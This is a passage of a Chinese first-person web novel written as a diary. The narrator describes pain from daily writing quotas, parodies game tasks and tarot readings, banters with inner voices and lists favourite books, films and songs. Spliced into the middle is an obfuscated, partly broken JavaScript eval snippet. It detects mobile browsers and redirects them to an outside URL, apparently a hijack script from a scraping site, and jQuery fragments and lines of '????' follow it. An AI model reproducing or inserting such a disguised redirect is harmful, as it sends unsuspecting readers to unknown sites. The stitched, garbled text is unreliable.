我的背很痛，这几年的伏案工作没有运动心脏和胸腔总是牵着疼，时常恍惚的不知道自己是不是会死，但是死了也得爬起来干，我从来不想死，我只想把自己燃烧完了死。天生地养一场，我和黛玉妹妹爱宝玉一样，都是痛并快乐着，我不能说我无法快乐或者根本不快乐，这就像我说也说不出口，哭也哭不出来的——“叹气，我是个又哑巴又瞎，小时候还差点聋掉的人，不知道这些零件怎么组合在了一起颤颤巍巍也没摇摇晃晃。”一样，我不必说，懂得人自然懂，不懂的人自然不懂，不必强问，重要的人是用眼睛和心一起看的，野风惊扰我。 我还看过《小王子》，很好看，挺好看的。 不过蒙马特遗书因为我看的是电子版的所以一些别的作家评论邱妙津也写在书里了，这部分我还没看完，就像我的后记，还没写完，但是终有一天会写完，看完，现在想来干完这一票去休息真是一个重要的决定，因为每天写七千字，留给自己的时间也多了，再也不用心脏疼，还可以继续去犯懒。 写到这个时刻是12:18，已经写了约五千字了，还有最后两千字，胜利就在眼前！ 等会给大家介绍一下我比较喜欢的几个作家，以及我和他们的相遇过程。 生命中的过客，某种程度上来说也是一种贵人吧。比如在庸俗里提到的1~8。其实接触下来都是不咋地的人，但是正是过客，所以才不咋地。人家也没有必要对你咋地。 读纪伯伦的。我的心曾悲伤7次。你就能看出来提到的八他其实是个局外人。所以大庸俗。死神。他说出建议不要与他产生纠葛的时候才显得多么的重要和正确。我终于也明白致女儿书带给我的世界震撼。是什么了？因为我一直不明白为什么叫致女儿书，前面在提他们小的时候怎样养育女儿，但是后面就跑的越来越偏，但是读着越来越爽，饭吃的越来越香，文看的越来越快乐。标点符号运用的越来越肆意张扬。 现在想来那是用一生写出来的书吧，如果在文章的后续，他的女儿回来看他。没有嫌弃他早年坏身体，抛妻弃女。□□养妓。 你猜猜我现在在干嘛？ 我在床上站起来了。 因为我的身体内部五脏六腑都抽搐着痛。其实痛到极致的时候，根本分不清到底是身体痛还是精神痛。又或者说世界就是一场巨大的阵痛分娩。不然怎么会有一首诗说你的孩子不是你的孩子，是他们对于自身生命渴望来到这个世界上。 我站起来了，我在床上站起来了，我在床上语音转文字站起来了，因为我不能再用我的手指打出一行字了。手指关节的僵痛带着整个身体的神经痛，就像史铁生坏死的腿，我坏死的生命。一去不回。 我终于学会投机取巧了，利用我，利用无数的电子设备早些适应不再拿起真实的画笔，铅笔。碳素笔圆珠笔。在真实的纸质本子上写字，而改用手机这个快速穿越时光的工具。 其实暑假打工的时候，第一次打工用自己挣来的8000块钱，花费了6000块钱买了一台电脑。我就知道我的极限是8000，正如我现在一天的伏案工作也只能是7000而已。不过那台电脑在2023年。买回来的时候一直到2025年的，现在我都没有使用过。但是在我的上一台手机坏死之后，我又重新凑钱买了一台手机。这台手机是我的8000-4000。先生们，朋友们，时代变了，现在让我们用更新颖的方式。然后改变我们的世界吧，让每一个人心灵得到长足的休息，不再消极，不再忧虑，不再痛苦。让人耳目一新，崭新的时代。就算是代理有错别字也没关系。 我也搞不懂这个“代理”在上一句里是不是错别字，不过既然错就错下去吧，我在说我，所以我是自己的代理人。 如果硬要说一本书有立意的话，我这本书的立意是“不是他。” 这个他不指代任何人，我说过世界没有性别，所以我不可能像邱妙津一样爱上一个女人还为此丧命，又或者爱上一个女人就要想方设法和她结婚，我不是不婚主义，我说过我就是知道我有一个孩子，不过我的履历很干净，从未出过学校，没有抽烟嫖赌斗殴偷人，出卖灵魂换来彩礼，囚禁他人做造物主，我只是一个人类，只喜欢犯懒在我妈的怀抱里，她想让我为她生个女儿后生出来给她罢了。顶多是翘个课在教室里继续看小说，被老师发现别人在举办篮球比赛的时候一个人不去一起加油呐喊，睡麻了腿出去吃饭，老师说你怎么没上课？虽然没篮球赛就要好好上课，但是，我就不上体育课。 人家偷个懒嘛。 重点是，我有理想型。 重点是人家又不喜欢型男，也不爱女人，也不需要朋友，也不是没钱花，也不是没饭吃，不是乞丐，不会扶贫，平平无奇小废物，那为什么不能拒绝不喜欢的东西了。就因为亮眼，所以要被私藏吗。好嗑，爱了爱了。 我是无神论者，无性恋，偏爱魔法。（画个圈圈诅咒你。） 今日份幸运数字：倒3，S2，倒14 今日份达成成就：即将加载完毕7000字优秀水平奖 今日份内容成就“一言难尽”未达成，任务失败，请等待下一次刷新。 今日份惩罚：年龄-1、天分-1、寿命-1 初始寿命保密状态。 今日份解字：逆宝剑三、正权杖骑士、逆节制 下面播报明日内容： 未知。 未知。 未知。 加载中…… 加载中…… 加载中…… 警告：系统崩毁，下面开启紧急修复任务，目前服务器关停，预计下次开启为十二小时后，未确切，为了保证玩家权益，游戏重新开放时会有停服补贴。 “希望游戏不要关了啊，我氪了那么多，越贵越氪金，越氪金越贵，该死的策划者，还我们的心血！” 庸俗：“到七千了吗。” ：到了。 12. 十一 2025年8月23日 黄历七月初一 乙巳年蛇年甲申月甲子日星期六（处暑） 宜：嫁娶、祭祀、祈福、求嗣、出火、出行、开光、解除、拆卸、修造、进人口、安香、交易、立券、入宅、移徙、安床 忌：斋醮、开市、开仓、作灶、造船 保持高产，回归自然，一个人在家里好无聊啊。 每次点开一个页面就有一次停顿，这世界任务也太多了吧，这谁搞得，布置任务了，基因程序怎么没搞死你。 怨气冲天。 你要保持队形吗？ 不要。 那你要干啥。 不知道。 你打算一直这样简短下去吗 嗯。 那你好短。 滚。 我肚子不舒服。 想拉屎就直说。 我在酝酿。 有病？ 哎呀你能不能对我耐心一点。 这也叫不耐心？ 你再墨迹一会我就去厕所了。 怎么不说拉屎了。 因为感受到了。 什么。 没了。 …… 到厕所了拉不出来？ 我有一个办法可以拉出来。 什么？ 放下手机。 你倒是放啊。 那我干什么。 玩屎。 你有病吧，我还没拉出来怎么玩。 我手麻了。 关我什么事。 什么事什么事，你烦不烦啊，我没法写字了。 放下手机。 我不。 我帮你拿着。 你帮我写吧。 行。 那只狸花猫怎么也和你家大橘一样也来你厕所了，还趴下，装死还是偷窥你？看你玩屎？ 它怎么还不走，它还想进来，你说它烦不烦啊，我都没喂过它，它一直来我家干嘛，让滚还不滚。 你看人家一眼人家来厕所门口了。 不然都进来了。 那当然了，它喜欢我家大橘，你都不知道，我拿牌看过了，它和我家大橘是圣杯二，小恋人。 它是一只母猫。 大橘是公的。 你这也没有一个人物，你写的人家知道你写的谁吗，谁和谁对话呢。 鬼，鬼和鬼对话，我还没有标点符号呢。 都没有先后顺序了，你把笔给我。 你来。我请你。 请你吃屎。 你能不能放一块，你拉一大长串这才六百字，你想死？ 你拉屎厉害，你拉屎好，你说的呱呱叫，你把屎拉一起吧，你看看你看的下去吗，你吃的下去吗，我给你喂屎这不得一口一口喂吗。 我之所以不喜欢那种狸花猫是我看见它的第一眼它的眼睛是灰蒙蒙的，发直，像鬼魂一样，还一见我就跑，我一有动静就跑，我不是个死人我当然有动静，你不知道它叫的有多难听，我从来无法相信世界上有猫这样叫。 【距离现实一念之差的地方，是梦。】 【在身体的晴雨里，梦境开始变化。】 【梦醒从5点47开始，我迟了两秒。】 【那两秒，是我给自己的余地。】 【你在5点47醒了吗，醒了就再醒一次，这次是9点31，剩下的9分钟是余地，不论如何，你醒了。】 【事实上无所谓你哪刻醒了，只要醒了。】 【在不耽误情况的情况下。】 这就是你写《5:49》和《9:40》的原因？对，复制自己的文字好玩吗，好玩。可以水字数。 你惧怕被你的旧人你的过客看到吗，不惧怕，他们抄不走我的灵感，抄袭死全家。 感觉他们也挺没意思的，都是俗人，简单了解了我就以为了解了我，看了我的一句话就以为看了我的一辈子，说了一句我爱你，就想永远，契约了一下，就想把狗拴住，哪有那么好的事，我们不是最好的朋友也不是爱人，不是死党，不是知己，不是朋友，都不是过客贵人，一团死物而已。 想看我的书我的内容我的日记，你配吗，你有资格吗，你配几把，配几本书，告诉你我的笔名在这里都是给你脸了，还奉劝我抑郁症了。我乳腺不畅了，都是你们气的，非要拉着我熬夜，我是不是第一次就告诉你了我不能熬夜。我有没有跟你说我喜欢你，我有没有跟你说我们做朋友吧。你就是这样相信我们的，我删你活该。 何为贪嗔痴慢疑，贪：喜欢的东西一个劲吃，拥有的东西永远不够，免费的东西使劲用，只要免费不需要也要去拿。嗔：对稍有违背自己心愿的人或物就生怨恨心。甚至仇视，抵毁，抹黑。痴：总认为自己是对的，比别人强看不到别人优点，听不进批评建议。慢：看不起不如自己的人，生傲慢心，觉得自己高人一等。疑：总怀疑别人的真心，不相信别人，不愿沟通解决问题。 你拿别人东西好意思吗，好意思，动动手指的事，又去复制了吧，这次不嫌麻烦了啊，不嫌，唉，临到最后别人肯定不知道你抄袭了，那当然，我连汉字都是抄袭的别人。 纯属虚构请勿模仿，版权所有侵权必究，适度阅读切勿沉迷，合理安排享受生活。啊，多么迷人的广告词啊。 怪不得你挺爱晋江的，那是。不再说点什么吗，这本书的游戏是《时停错觉》。发表于2025年8月19日09点40，本文作者建议18岁以上读者观看，我看你是彻底不知道天地为何物了，你这里面处处是防伪码，咋的，你老婆不答应你在你们情头上打水印你在自己身上打钢印啊，滚犊子你。 甜松饼与钱钱 你去看我的庸俗 我申请签约了 看看啥时候签约成功 签约哪个平台？晋江？ 对 我喜欢晋江 毕竟呆了三年了 嗯签约了是不是有要求啥的 OK我一会去看 要保证多更吧 保证完结 我刚做完饭现在吃饭 吃吧 嗯是啥故事?小说? 《庸俗》 还是日记类的 第一人称 幻想未来 行我一会看看去 好 如果先比你出生就是抄袭，那抱歉我抄了你的，不好意思和你的基因一样了，我这就削骨还肉，樯橹间灰飞烟灭，谈笑风生不动情。 身体记着那种痛苦，所以在我伏案写作的时候，尤其身体时停错觉的时候就会叫着好痛，于是写下来的每一个字他们都是痛苦的另一种样貌，正如你站在我面前，而我春风不识，不见明月不见君，君越重关，关山重越，字迹是重复，过客是我们，标点符号永远也不停歇，于是我打发本就不存在的时间。 时间时间，都是时间，如果世界是我钟爱的恋人，时间就是我的永恒情敌。如果出生时你的手心刻了两个名字，一个能暴富，一个是爱情，你想选哪个，只可取其一，杀了就没有了。 于是你分不清你的爱人和敌人，你的爱人成了你的死敌，你的死敌笑话你鱼目混珠。你腹背受敌，你力有不逮，你查字典力有不逮的逮是不是这个逮，殆尽，你说我燃尽了。 燃烬。 中文就是这么美，你如果诚信发问我的职业，我会告诉你我是灵魂裁缝师，为了帮助每一个人分娩，我裁裁剪剪抽去了很多人，把布片拼成了你，拼成了你面前旁边前面后面东西南北无数个人，然后你就疯了，分不清敌人和自己人了。 我不想说我是小说家，因为村上春树已经提过小说家这个概念了，所以小说家有人当了，我不想当小说家。 我也不想当治病救人的医生，鲁迅都弃医从文了，余华也当过牙医，他们现在都写小说肯定是这个职业不好混，动不动病人就闹到头上打死人了，医生死在病人前头。 我想当麻醉师，可是麻醉师都有人唱出来了，四面八方千言万语，我再也不能为自己止痛了。 于是拼命告诉自己不要痛，不要哭，写不完就写不完，总有人需要你的文字，那就是你自己。 我有很多灵感，我怕题材违禁，所以一部也不敢写，生命对于自身渴望诞生的孩子就是邱妙津在蒙马特遗书里那么直白的提到身体的渴望，她的伟大之处在于她在一九九五死亡在她生命发生的时候创造了拉拉，人们通过拉拉认识她。 我只通过一句话：“世界总是没有错的，错的是我们不能免除灵魂的病。” 所以在你那里发生地震的时候我突然刚好写完一篇文，我想上线看一看，我一无所知，不知道遥远的地球哪一处又发生了地震，未料到你紧接着也上线了，你跟我说你那里发生地震。 你的生命已经摇摇晃晃了，你还不跑，我无法安慰你，只能一遍一遍给你虚拟的拥抱。 亲爱的，我是最强纸片人，我就是你啊。所以我害怕我虚构一个角色，他会不会恨我，我知道他其实真的恨我，不然怎么直直的用眼睛望过来，对我说，你为何予我困苦落寞，为何创造我。 任我陷落，任我碾落成泥，所以我无时无刻不提你的漂亮，用尴尬狗血古早的拙劣说你漂亮，沈泱你越来越漂亮了。 不然为何这泱泱华夏我用泱装点你，我的输入法都记得你的名字，我还未见你，它比我先跳出来见你。 你还有更多的兄弟姐妹，为了怕你无聊无依无靠，我试图让他们跨越边界来看你，不然怎么对得起我写给你孤苦结局，我用了八年时间写你，还烂尾了，只写了四万字，你还没有从段韩江的手里逃脱，还没遇见陈词和乔司文，给你换了那么多老公，最后定了沈茴香，沈茴，念念不忘必有回响，你在一个口里的又一个口里，走不出钱钟书的围城。 当时自己还很狂，看完了围城说他没有我写的好，没有什么了不起，拿着书冲到另一个宿舍对朋友说，我看完了，我觉得一般，可以一句话概括的故事，你看我语文学习的有多好，概括句扩写句，总结局烂尾剧我都能盘活。活盘。 我从来不吃活珠子，我已经看到了它的毛，人们对于吃的追求如此的得心应手，你的任何阶段和戒断都能被人做成一盘菜。 我针砭时弊洗了半天云云不知所言。 我之前有很多存稿，里面随便截取一节你都分不清我是抄谁的，一百万字是一百万的字，一万个是十个一千，十万个是十成十个一千，一百万是十乘十乘十，你看你又看见三了，你还痛吗，我不痛了，我把自己生了三次，第三次我为自己而活。 你还记得三人成虎在文中出现了几次吗，两次。猛虎下山。 这个时候我已经写到了三千三白九十八了，真的好想赶快写到十三万字，我输了数，应该会是十三万两千字。如果不算标点符号的话那我只能在电视节目上告诉你我用机器留下所有文字，中国汉字后，有多少字，因为作者不喜欢剧透，以及我想上电视。 就是当年明月那个采访我第一次就感觉他在坐牢，真不好意思完全没看过他的书，居然一本也没有。 我没有权限，没有时间。 想起来高中时候初中同学同班，知道我爱看书让我看了《额尔古纳河右岸》，还有白话文《史记》，为了考研我的记忆力，我在看完史记后拉着同学每晚路上回宿舍的时候就用一句话给她概括我看到的人物，三天讲完了，不是我的书也得看快点，不然该催着要还了，怎么借完书就销声匿迹了呢你。 现在是03:28。 处在大床房里的我一无所知在一点的时候才入睡，两点四十就醒了，二窗户外天空之上龙卷风在暴风眼里看摩天动物园，枇杷山店开灯关灯雨不停歇吓唬我，雷声大雨点小，电风扇吹得有点凉，我盖上了我的床单。 真的，我的夏凉被真是床单。 叮铃铃，你的骨灰到了，到付。 四千字了四千字了，哎呀呀，你看一看王朔就知道我这爬坡是自言自语，为了把庸俗写给自己是怎么学会了他给自己的致女儿书水字数。 我真的很后悔错过我的前任啊，如果有再重来一次的时候我第三次肯定选你。可是第一次我们烂尾了，第二次我们烂尾了，第一个我们烂尾了，第二个我们烂尾了。第三个请赐予我，世界你滚吧，你个无性别人，我是一个人类，一个女性人类，没有办法和你生娃子。 赐我一个利莫里亚的海神，左拥右抱祁煜和沈星回，这次我在上，扑倒他们，嘻嘻。 家入们，这个女人，不要fate。 今日内容：“找到爱人” 达成解锁人物成就：未知 今日份幸运数字：倒6，P6，倒P4 今日份达成成就：已兑换离子炮考级费用宇宙支付 今日份内容成就“找到爱人”已达成，任务成功，请等待下一次刷新。 今日份惩罚：锁链+1，共生+1，寄生+1，寿命-1 现在寿命11岁。 今日份解字：逆星币六，逆恋人，正星币四 下面播报明日内容：已断电。请谨慎。 播报：亲爱的玩家，鉴于我们废寝忘食的修复，我们的服务器终于修好啦，这么补偿你三元，另外游戏仓库已发放新版机枪武器，请查收！ 庸俗：真烦。 ：“哟～哥哥，都肚里发声了，腹语学的不错！” 庸俗：你最好有病。你个无名氏。 258字看把自己能耐的。 最近很担心自己过劳死，肩膀真的皮很薄了，这书写不完了。 为什么老是担心几倍？因为敲字带动肩颈线条。可是打字不就是动动手指的事吗？你行你来呀，我的台灯都这么暗淡的，现在都凌晨4:47了，凌晨4点我看见海棠花未眠，电风扇很凉，猫咪刚刚叫了一声，让我的心情颤一下。 你不能打错他的名字。 沈泱泱大国是不可以轻易被污蔑的。 那我还给人家。起的名字叫灯光。《灯光》。未发表。 已发表不发表，待发表就发表，谁发表？你在夜发表情吗？不是，我是在念发表情。发表精，笨蛋，《发表经》。天之道名不见经传。 一命二运，三风水，四积阴德五读书，6名七相八敬神，九交贵人，10养生，十一择业与择偶。 你一句话拐800个弯。 是的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423129|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，为了水字数我真的是无所不用其极。 你能不能介绍一下你写的别的人物？ 好啊，就是沈泱啊。林滢啊，程远风，白岚，柳成xi，桃李不言，下自成蹊的席。柳惊眠，柳惊蛰的盗版人物。余烬起，顾盼花，郁见，郁念昕。林知书，赵达理。沈慢，任礼。慢条斯理。果然还是作者会组CP。万物皆可有CP，现在，请亲吻你的新娘。 当当当当当当当当李程送入洞房。 青木骨头狗吃狗骨头，猫吃驴骨头。青木骨头钦慕骨头，猫吃鱼骨头。 会不会你老掉牙步履蹒跚的时候，会发现年轻时候的阵痛就是你支撑不起。沉重的身体。身体苍老。然后慢慢讲故事，娓娓道来。然后久而久之就在别人的生命里。长久的睡觉。第二次遗忘就是第二次死亡就是遗忘。 刚刚我还在想天怎么不亮，我的夜半小夜曲，我的小灯已经很暗了，都没有电了。然后我就发现外面的天空已经快要天亮了吧？我看到一个星星。 我好想我的老朋友啊。因为有一天我安慰了她一晚上。 我好想我的生命中微不足道的人啊，就像我好像我看过那电影了。我可求一双没有看过甄嬛传的眼睛。没有跟大家介绍一些电影，比如我比较喜欢爱情与灵药。安妮海瑟薇演的都挺好看的。还有他的公主日记，还有甜茶的下雨天，还有茶花女，我第一次看茶花女士。奥黛丽赫本演的好漂亮啊，奥黛丽赫本。 我突然想到昨天下午看的。一个黑色生命力，他当时说黑色生命力的时候，我就在想生命力就是生命力，哪分白色还是黑色？后来想了想，这确实是分的吧，因为别人问我是植物还是动物的时候，我就会说我是植物。 动物是奔跑的植物，好难过呀，它的根只能一直向下都没有挪动。他就这么的静静待着，被路过一脚踩死，但是动物就好了呀，动物可以奔跑。 其实你知道最安逸的地方是棺材吗？就是你躺在床上的时候。你总想左边放一个枕头。一会儿不舒服了又要把枕头挪到右边。你还想成大字形。躺在被枕头埋起来的小坑里，那当然是棺材最省事了。 怪不得吸血鬼会喜欢棺材画我也喜欢。毕竟这是设定。 猫咪有猫咪的设定，我很清楚，那个熊猫叫不是我的幻听或者说不是我的心发出来的声音，不是我的身体发出来的声音，也不是我的脑子。在骗我，而是我真的听见了。 你怎么忘了你先说的爱我？ 能不能洗洗睡呀？我都找到你的爱人了，你还在这里逼逼啥呀？ 你不懂啊，除了我想和我的人共赴黄泉，我还想和我的人共奔青城，你知道青春有多美丽吗？你看过画中般的恋爱吗？我昨天晚上的时候毕竟麻花书店又看了几遍，后来发现中间好像有一集没看，我以为上次说我重看一遍是我把所有重看一遍，原来重看的时候发现有一集自己没看啊。 就像花束般的恋爱里，小娟在分手的时候，诧异的说着，原来这是很久的人还是会有没有了解到的地方啊？ 对呀，上面有长度，但是上面有厚度。 我是说生命，生命不是长度。 我是说生命。生命不是长度。 不许再说这是一个悖论了，这根本就不是一个悖论，不是吗？不然的话，上面两句话为什么明明看起来一模一样，却有逗号和句号之分，这就是我为什么喜欢逗号的原因。因为句号马上就要来了。 你的墙来了。 围墙，墙子。还回家吃饭吗？我已经侧躺着了，我现在好累呀。现在为大家播报一下此时此刻的时间吧，此时此刻的时间是5.9分。 凌晨5点9分，2025年8月23日。周六。 其实你不报这个事情也没有用，你没发现你对这本书的那个时间实在是太多了吗？他们根本就捋不清一条时间线。对，对对，所以我的封面是我自己设计的，怎么样？还不错吧？ 然后就是你没发现他和清晨秀玉是情侣款吗？一个是白洞当中黑色爬行，一个是黑洞当中白色漫游。 2000字了，还有最后1000字，今天就算写完了。 一下子多了这么多个零，很高兴吧。 那可不我这个阿拉伯数字的零打出来就很像我。钱包的余额，如果我钱包的余额后面有更多的人就好了，无论是-0.0000001还是正100000000。 世界上一半人吧，我在哪一半都行。 我是说上不是上？ 杀不是上。你是不是傻逼了？ 顺手杀了，好吗？让我给你讲一讲3.141592653579。如果我的存款是这么多就好了，然后把小数点移到3.141592657.9。我是宇宙大富翁。一个人也是很陶醉了。 你就没发现上面是两个点吗？ 实在是对不起，我念的时候念错了。 你给他找不同的，no，no，no，我这是找相同。唉，别人真的会骂你，是不是自言自语的，不过也无所谓了，本来就是虚构的我。你不要我了，你也不要输了，你到底想要谁呀？ 我真的好喜欢我第一次打工的那个海上便利店。因为可以看海。然后我还挺喜欢那个工作的，但是那个工作我就去了两次，绝对不会去第三次，因为再一再二不再三。再来一次我就是狗。 后来工作结束的时候就顺便想逛逛景区，看看海。然后就看了好几片海不一样的海，有的海里面是免费的。有水草，有垃圾袋，有烟头，然后有一些收费的很。里面也会有烟头，但是少一点，然后就会在想还是收费的好，不然的话垃圾扔在海里面真的很污染环境。然后又觉得悄无声息的地方肯定很多人都去过，只是这个悄无声息的地方去的人太多了，所以种满了烟头。 你是说你的心理吗？ 心中。 你的心中种满了烟头吗？ 我的心中充满了你吗？ 你吗。 你妈！ 曙光要来了，曙光要来了就有最后500字了，然后就可以等着他审核了。这7000字我卡的肯定是非常完美的状态，外面的天空又变成了天蓝色。普鲁斯蓝普鲁斯特效应天青，蓝天，青色等烟雨儿，我在等你。炊烟袅袅升起，隔江千万里。 现在的时代真是便利了语文转文字。 就是没有人知道你一个人在房间里到底干了什么。外面听着是悄无声息的，但是你在里面唱歌，别人以为你在里面唱歌的时候，结果发现你拿着手机在语音转文字，别人以为你语音转文字是想和别人聊天的时候才发现你居然在写书。 这世界上有你的奇葩，真是把文字运用到了很多不同理想的高度。 你自己知不知道你说这句话的时候嘴瓢了？ 真的，我的舌头都打结了。 真是不可思议啊，从来没有说过自己舌头打结了，居然说了一句舌头打结了。 别逼逼赖赖了，已经2800字了。 你怎么一会儿说快期限了，一会儿又说2800字了？是因为十一的时候我分了两部分线，因为上次不是用意念挪才能把东西挪过去吗？但是我还得动动双手，所以我只能把他们动动手指分成两张了。 你可闭嘴吧！ 好嘞 13. 十二 2025年08月24日 黄历七月初二 乙巳年蛇年甲申月乙丑日星期日 宜：破土、安葬、移柩、入殓、祭祀、捕捉、除服、成服、馀事勿取 忌：嫁娶、入宅、开市、交易 从今天起我打算以后按时睡觉啊，就是天王老子来了我也要规律作息晚上十点左右睡，早上八点左右醒，我想让工作有一个固定的时间，这样我就可以规律的过好一生来。今天的天气，此时此刻，已经风起云涌，风不止树不歇起来，从朋友家回来的路上，天就从晴朗转为昏黑，远边天沉沉的，天空有一个区域很积暗，似乎明显沉出墨韵，也许暴风雨就要来临，也许是天气终于从夏天转向秋天了。 拿垫子垫在盘腿间，突然想起来上次去康德商店本来想买的菩提珠坐垫，但是不知道坐的舒不舒服，于是换了一家店买了一串菩提珠手串。小东西容易被带走，我身体出汗还会把它染色，携带我的味道。 今日内容： 达成解锁任务成就：睡眠增加十小时。 睁大眼睛，也许解锁睡觉是为了加重体验感吧，之前的游戏太逼真，让身体日日有着过重的沉重，骨头缝子里灌封的疼，从来没有一种感觉是呼吸之注意到了这里。 字节跳动的时候那个巨大的写轮眼就盘旋着眼珠转着看人，这个游戏越来越不好过了。 本来已经停在了第三关应该是最好玩的时候但是居然打不下去了，拿不到支线奖励放纵休息。昨天的解锁爱人拿回来了其实就是个盒子里装着的洋娃娃，逼真的建模脸，精致的吸引人，但这个世界痛觉一旦进入就随系统介入，根本不知道它什么时候搞鬼又是不是会搞鬼。 玩家和后台页面看到的消息一样吗，都没有线索。找个屁的答案，过这个关。是不是应该让星星出来一下，据说星星是小庸俗的特征，它的作用主要是疗愈，不知道这和睡觉有没有关系，但星星走在黑夜里，真的走位没有别的猫腻吗。 今天还提早的发布了今日内容，但今日内容一片空白，还不如不发。 叮咚。 今日份幸运数字：倒A1，正QW，S9 今日份达成成就：左手火柴右手小王子。 今日份惩罚：小花花抱着眼睛在床上偷笑，假装哭泣。 今日份解字：逆权杖一，权证女王，宝剑九 下面播报明日内容：玫瑰花的脸是小王子的头，没有身子一束难看□□。 今日份内容“嚼文咬字”已达成，奖励已发放，注意查收。 哎呀吓死我了，咬文嚼字，这个词语多像把骨头嚼烂扔到肚子里一整个大惊小怪，大大怪打大怪，小小贵小小怪。打字又开始慢慢悠悠是不是又不知道被裁缝店铺的老板把灵魂怎样拼接了？放松吧，她就喜欢做这种无聊的事，一个人写了又写画了油画。 这样真的很难，很慢，完不成业绩庸俗大人和饼的世界会把我掐死的，我会变成小鱼被关在云里的，云云再也看不见我了，我再也看不见她了，有掐着法朗斯怀表拿着稿子来找我的威尼斯狂欢节奏大师荒唐花花想吃乱七八。 九跟壁纸的铅笔挂在左侧的向上，你知道我试图描述一张画，画舫的荒唐花花，但是我真的不知道先给你看正面还是侧脸，要不我还是给你画一个结施图吧。 正面，一张卡牌，画面有九跟铅笔，一只花头筷子腿的小花躺在床上，头面向西，枕头在东，很平的床，被子和腿几乎看不见被子底下的身材，因为它是筷子腿，床又和被子是一条线，看样子在捂着脸假哭，偷笑，但样子挺沮丧的。 然后另一只花他其实是坐在梳妆台的桌面上，梳妆台有两层抽屉。他做的很潇洒，面前有一只猫。左手拿着火柴棍儿，右手拿着玫瑰花儿，但是从他的角度来看，他左手拿着玫瑰花右手拿着火柴棍儿，最后一张图就是一个手拿着。一根火柴棍儿，但是手和火柴棍儿都倒过来了。我是说从我的角度看他是用右手拇指向下火柴棍的头也向下的握法。 今天回到家的时候已经是下午了，因为我是早上9点多左右出的门，在早上6点的时候，我就边用我的一个手机放了一个多小时的音乐，然后用另一个手机在刷手机。现在回想起来那个时光，我还感觉有点困困的。 原来这就是今天。任务内容啊提前补一下作业，然后上交就可以好好的睡一觉了。因为打算是在8月底把这个事情都写完，所以虽然看起来很自我，但是他严格意义上来算的话，其实时间是不够的，所以我只能用模糊时间的概念。来安排。让自己忍着痛快一点，把这些东西都写完。 我想介绍一下我家院子里的芝麻，我不知道这是芝麻树还是芝麻草，总之他们是挺大的，我也不知道这是不是芝麻，或者说他可能不是我认识的芝麻，之前在精神秀玉里面说我家里有一棵核桃树，现在已经证实了，上次我妈妈告诉我他确实是核桃树。 我真的很相信我的妈妈，所以他说的时候肯定也是用他的脑子接收了别的信息，然后这从一个PC的角度来告诉我，虽然时常怀疑自己的妈妈是不是自己的妈妈，是不是鬼妈妈，又是不是猫咪，我家猫咪现在正在砖墙上走路刚刚好，被我从窗户看见。 他过程走路的时候时常会觉得他的身体很累，因为他老是在我面前。伸懒腰，但是走路的时候又躬身走路。我就觉得他的肩膀应该和我的肩膀一样疼吧。 我真想快点结束这一本，因为时间真的不等人以及我真的想休息了，还有我真的不知道我在说什么，这简直就是错别字连篇，根本不能连贯成一个句子。 急死我了，他们这样急切的搞鬼。然后我想说一下，我今天下午在同学家里都做了什么？我们俩聊了很久的天，说了很多。现在已经想不起来的东西，然后，就没有然后了。 我试图勾引起人的兴趣，但是人真的能被我勾引到吗？话说我真的把他从小到大的故事都和他谈过了。风吹起芝麻真的太漂亮了。风摇晃大树也真的很漂亮，我现在左手有点抽筋，这是一贯的老毛病了。这本书充满了死亡的味道。 骑着自己的电动车从朋友家里回来的时候，一路上我又唱歌又迎着风想起了朴树的清白之年还有空帆船，当我听到风从外呼啸着掠过。 那一刻我的心都吸着猛烈的跳动。 那一刻我的心都狂喜着猛烈的跳动。 我是一个吸盘嘛，我还吸着明明就是狂喜着，狂喜着，狂喜着。当我通过左右耳朵耳机听到空翻船的时候，我就知道。朴树一定懂我。就像他懂婉儿一样，大兵在保证里面写。婉儿 不行，你们一定知道我的。工作是什么？除了降魔味道，除魔味道，除暴安良。听音乐，看电影，看手机，报菜名。立即通过搜索引擎看看自己的排行榜。这真是一个残酷的世界呀，这个世界实在是太大了，庸俗的世界实在是太大了，庸俗和小俗他俩的策划。真的是顶呱呱呀，怪不得他说他脑子里有5个人打架，这5个人就是庸俗小俗，星星，死神节制。 还有爸爸妈妈，我姑姑。叔叔。 大表姑，大堂叔，这物体实在是太大了，人在大的物体面前是不知不觉就被吸引了，所以你甘愿做行星周围的小尘埃还是在小陈的世界里永远看不见大行星了。 我的嘴里没有一句真话，我爱你是骗你的，我恨你也是骗你的。中国人恨海晴天的精神被我发扬的淋漓尽致，继承下来，发扬光大。 我想说一下我的坐标。 我的地址：宇宙-可观测宇宙-武仙北冕座长城-拉尼亚凯亚超星系团-室女座星系团-本星系群-银河系-猎户臂-古尔德带-本地泡-本星际云-奥尔特云-太阳系-地月系-地球-北半球-亚欧大陆-亚洲-东亚-中国 ????????????????????????????????????????， ??????????????????????????????。 这是我喜欢的一个句子，虽然我看不懂这是啥。 让我在我的房间里喂。我的歌曲高歌一名吧，我把我的歌曲取名为无声之歌。 7:53，下午5:53。我打开网易云音乐。点开我喜欢的音乐翻找了一下，发现自己下面创建了两个歌单音音和是左手生病。我喜欢的音乐有19首音音有27两首。是左手生病有2772手。 我喜欢的歌曲是明天会更好，日不落，深海之息，网恋，放学等我共生，兴许百年，我只在乎你不虚此行onthejoin，寂寞寂寞不好，月半小夜曲习惯失恋灰色系。时停幻觉。Hewastheword. 有一种悲伤，不再悲伤，疑心病，天地缓缓，烟雨行舟，迷失人海，世间所有的蓝色都是你的背影，难解咬合力浮光。 挨到3000的时候一键上传。 我从来没有写过大纲。 我以后要学着写写大纲。 我们要拥有不被理解的勇气。 就像我们要拥有被讨厌的勇气一样，勇敢的拒绝别人。先不被理解的人先享受世界。这是配锁啊，在黄然路里面告诉我的。佩索阿在惶然录里面告诉我的。 虽然这样写看起来很好玩儿，也便于纠正自己的错误。 但是这不是一个完整的书的构架，所以大家不要学我。 